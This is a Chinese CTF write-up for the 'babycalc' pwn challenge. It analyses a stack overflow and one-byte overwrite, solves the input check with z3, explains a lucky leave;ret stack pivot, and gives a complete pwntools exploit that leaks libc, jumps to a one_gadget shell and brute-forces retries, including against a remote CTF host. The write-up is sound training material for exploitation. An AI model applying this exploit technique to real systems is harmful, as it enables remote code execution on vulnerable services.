0%

栈迁移+爆破

babycalc

1
2
3
4
5
6
babycalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05ede67cc5aa402b2f1ee02f5e62dd05e80a1f8a, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,NX

漏洞分析

1
2
3
4
unsigned __int8 v0; // al
char buf[208]; // [rsp+0h] [rbp-100h] BYREF
unsigned __int8 v[16]; // [rsp+D0h] [rbp-30h]
int i; // [rsp+FCh] [rbp-4h]
1
2
3
4
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0; // 栈溢出
v0 = strtol(buf, 0LL, '\n');
v[i] = v0;
  • 有栈溢出,可以修改i
  • 配合后面的赋值可以修改一字节

入侵思路

首先需要绕过一个 check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( v[2] * v[1] * v[0] - v[3] != 0x8D56
|| v[0] != 0x13
|| v[2] * 0x13 * v[1] + v[3] != 0x8DE2
|| (v[10] + v[0] - v[5]) * v[13] != 0x8043
|| (v[1] * v[0] - v[2]) * v[3] != 0xAC8A
|| (v[2] + v[1] * v[0]) * v[3] != 0xC986
|| v[6] * v[5] * v[4] - v[7] != 0xF06D
|| v[7] * v[12] + v[1] + v[15] != 0x4A5D
|| v[6] * v[5] * v[4] + v[7] != 0xF1AF
|| (v[5] * v[4] - v[6]) * v[7] != 0x8E03D
|| v[8] != 50
|| (v[6] + v[5] * v[4]) * v[7] != 0x8F59F
|| v[10] * v[9] * v[8] - v[11] != 0x152FD3
|| v[10] * v[9] * v[8] + v[11] != 0x15309D
|| (v[9] * v[8] - v[10]) * v[11] != 0x9C48A
|| (v[8] * v[2] - v[13]) * v[9] != 0x4E639
|| (v[10] + v[9] * v[8]) * v[11] != 0xA6BD2
|| v[14] * v[13] * v[12] - v[15] != 0x8996D
|| v[14] * v[13] * v[12] + v[15] != 0x89973
|| v[11] != 101
|| (v[13] * v[12] - v[14]) * v[15] != 0x112E6
|| (v[14] + v[13] * v[12]) * v[15] != 0x11376 )
{
exit(0);
}

直接用 z3 求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from z3 import *

v1,v2,v3,v4 = Ints('v1 v2 v3 v4')
v5,v6,v7,v8 = Ints('v5 v6 v7 v8')
v9,v10,v11,v12 = Ints('v9 v10 v11 v12')
v13,v14,v15,v16 = Ints('v13 v14 v15 v16')

solver = Solver()
solver.add(v1*v2*v3-v4==0x8D56)
solver.add(v1==0x13)
solver.add(v3*0x13*v2+v4==0x8DE2)
solver.add((v11+v1-v6)*v14==0x8043)
solver.add((v2*v1-v3)*v4==0xAC8A)
solver.add((v3+v2*v1)*v4==0xC986)
solver.add(v7*v6*v5-v8==0xF06D)
solver.add(v8*v13+v2+v16==0x4A5D)
solver.add(v7*v6*v5+v8==0xF1AF)
solver.add((v6*v5-v7)*v8==0x8E03D)
solver.add(v9==50)
solver.add((v7+v6*v5)*v8==0x8F59F)
solver.add(v11*v10*v9-v12==0x152FD3)
solver.add(v11*v10*v9+v12==0x15309D)
solver.add((v10*v9-v11)*v12==0x9C48A)
solver.add((v9*v3-v14)*v10==0x4E639)
solver.add((v11+v10*v9)*v12==0xA6BD2)
solver.add(v15*v14*v13-v16==0x8996D)
solver.add(v15*v14*v13+v16==0x89973)
solver.add(v12==101)
solver.add((v14*v13-v15)*v16==0x112E6)
solver.add((v15+v14*v13)*v16==0x11376)

if solver.check() == sat:
ans = solver.model()
print(ans)
else:
print("no ans!")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[v1 = 19,
v9 = 50,
v12 = 101,
v10 = 131,
v4 = 70,
v3 = 53,
v13 = 118,
v2 = 36,
v16 = 3,
v15 = 24,
v7 = 17,
v8 = 161,
v6 = 66,
v5 = 55,
v11 = 212,
v14 = 199]

入侵思路就是通过一字节修改来伪造返回地址:

1
2
3
4
5
6
7
8
9
pwndbg> bt
#0 0x00000000004007f0 in ?? ()
#1 0x0000000000400c3c in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
pwndbg> telescope 0x0000000000400c3c
00:0000│ 0x400c3c ◂— nop
01:0008│ 0x400c44 ◂— mov r15d, edi
02:0010│ 0x400c4c ◂— lea esp, [rip + 0x2011be]
03:0018│ 0x400c54 ◂— lea ebp, [rip + 0x2011be]
1
2
3
4
5
6
7
8
9
pwndbg> bt
#0 0x0000000000400ba6 in ?? ()
#1 0x0000000000400c18 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
pwndbg> telescope 0x0000000000400c18
00:0000│ 0x400c18 ◂— leave
01:0008│ 0x400c20 ◂— add byte ptr [rax], al
02:0010│ 0x400c28 ◂— mov eax, 0
03:0018│ 0x400c30 ◂— 0xe800000000b8ffff
  • 通过覆盖返回地址低位就可以构造出两个 leave ret,然后打栈迁移
1
2
3
4
5
0x400bb7    leave  
0x400bb8 ret

0x400c18 leave
0x400c19 ret

这里的栈迁移比较靠运气,核心点就是利用程序的置空操作:

1
buf[(int)read(0, buf, 0x100uLL)] = 0; 

利用这一点可以把栈上存储的 RBP 末尾给置空,从而可以把 RSP 迁移到某个末尾为 \x00 的栈地址上,如果这里刚好是 ROP 链就可以劫持程序流(但栈的随机化程度大,恰好命中的可能比较小)

下面展示一个成功的案例:

1
2
RBP  0x7ffd50a0aab0 —▸ 0x7ffd50a0aa00 ◂— 0x1
RSP 0x7ffd50a0a9b0 ◂— 0x6161616161613432 ('24aaaaaa')
1
2
3
4
5
pwndbg> telescope 0x7ffd50a0aa00
00:00000x7ffd50a0aa00 ◂— 0x1
01:00080x7ffd50a0aa08 —▸ 0x400ca3 ◂— pop rdi
02:00100x7ffd50a0aa10 —▸ 0x602018 (puts@got.plt) —▸ 0x7f1af8eb96a0 (puts) ◂— push r12
03:00180x7ffd50a0aa18 —▸ 0x602018 (puts@got.plt) —▸ 0x7f1af8eb96a0 (puts) ◂— push r12
1
2
3
4
5
  0x400c18    leave  
0x400c19 ret <0x400ca3>

0x400ca3 pop rdi
0x400ca4 ret

爆破脚本如下:

1
2
3
4
5
6
7
while(1):
try:
success(">> testing")
pwn()
break
except:
sleep(0.1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v3 = [19, 36, 53, 70, 55, 66, 17, 161, 50, 131, 212, 101, 118, 199, 24, 3]

pop_rdi_ret = 0x0000000000400ca3
puts_got = 0x602018
puts_plt = 0x4005d0

code = p64(1)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)
payload = '24'+'a'*(0x70-2)+code.ljust(0x60,"b")
payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15])
payload += '\x00'*(0x18+4)+p32(0x38)
p.sendafter("number-1:",payload)

p.recvuntil("good done\n")

puts_libc = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
success("puts_libc >> "+hex(puts_libc))

p.interactive()

拿到远程 puts 地址后,可以到如下网站中查看 libc 版本:

1675319907757

  • 最后确定 libc6_2.23-0ubuntu11.3_amd64

在 ROP 链的末尾写上程序某个地方的地址,就可以实现循环,常用的地址有3处:

  • main:主函数
  • pwn:存在漏洞的函数
  • start:程序的入口函数

经过调试发现前两个函数都不适合进行循环,只有在 ROP 链末端写入 start 才有可能 get shell(其实是试出来的)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

arch = 64
challenge = './babycalc'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

csu_front_addr=0x400C80
csu_end_addr=0x400C9A

def pwn():
local = 1
if local:
p = process(challenge)
else:
p = remote('tcp.cloud.dasctf.com', '22084')

def debug():
gdb.attach(p,"b*0x4007F0\n b*0x400BA6\n b*0x40079B\n")
pause()

v3 = [19, 36, 53, 70, 55, 66, 17, 161, 50, 131, 212, 101, 118, 199, 24, 3]

pop_rdi_ret = 0x0000000000400ca3
pop_rsi_ret = 0x0000000000400ca1
puts_got = 0x602018
puts_plt = 0x4005d0
read_plt = 0x4005F0
main_addr = 0x400C1A
pwn_addr = 0x400789
start_addr = 0x400650

code = p64(1)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
payload = '24'+'a'*(0x70-2)+code.ljust(0x60,"b")
payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15])
payload += '\x00'*(0x18+4)+p32(0x38)
p.sendafter("number-1:",payload)

p.recvuntil("good done\n")

puts_libc = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
libc_base = puts_libc - libc.sym["puts"]
success("puts_libc >> "+hex(puts_libc))
success("libc_base >> "+hex(libc_base))

debug()

system_libc = libc_base + libc.sym["system"]
binsh_addr = libc_base + 0x18ce57

one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadgets[3]+libc_base

success("system_libc >> "+hex(system_libc))
success("binsh_addr >> "+hex(binsh_addr))
success("one_gadget >> "+hex(one_gadget))

payload = '24'+'d'*(0x70-2)+0x58*"e"+p64(one_gadget)
payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15])
payload += 'f'*(0x18+4)+p32(0x38)

p.sendafter("number-1:",payload)
p.interactive()

while(1):
try:
success(">> testing")
pwn()
break
except:
sleep(1)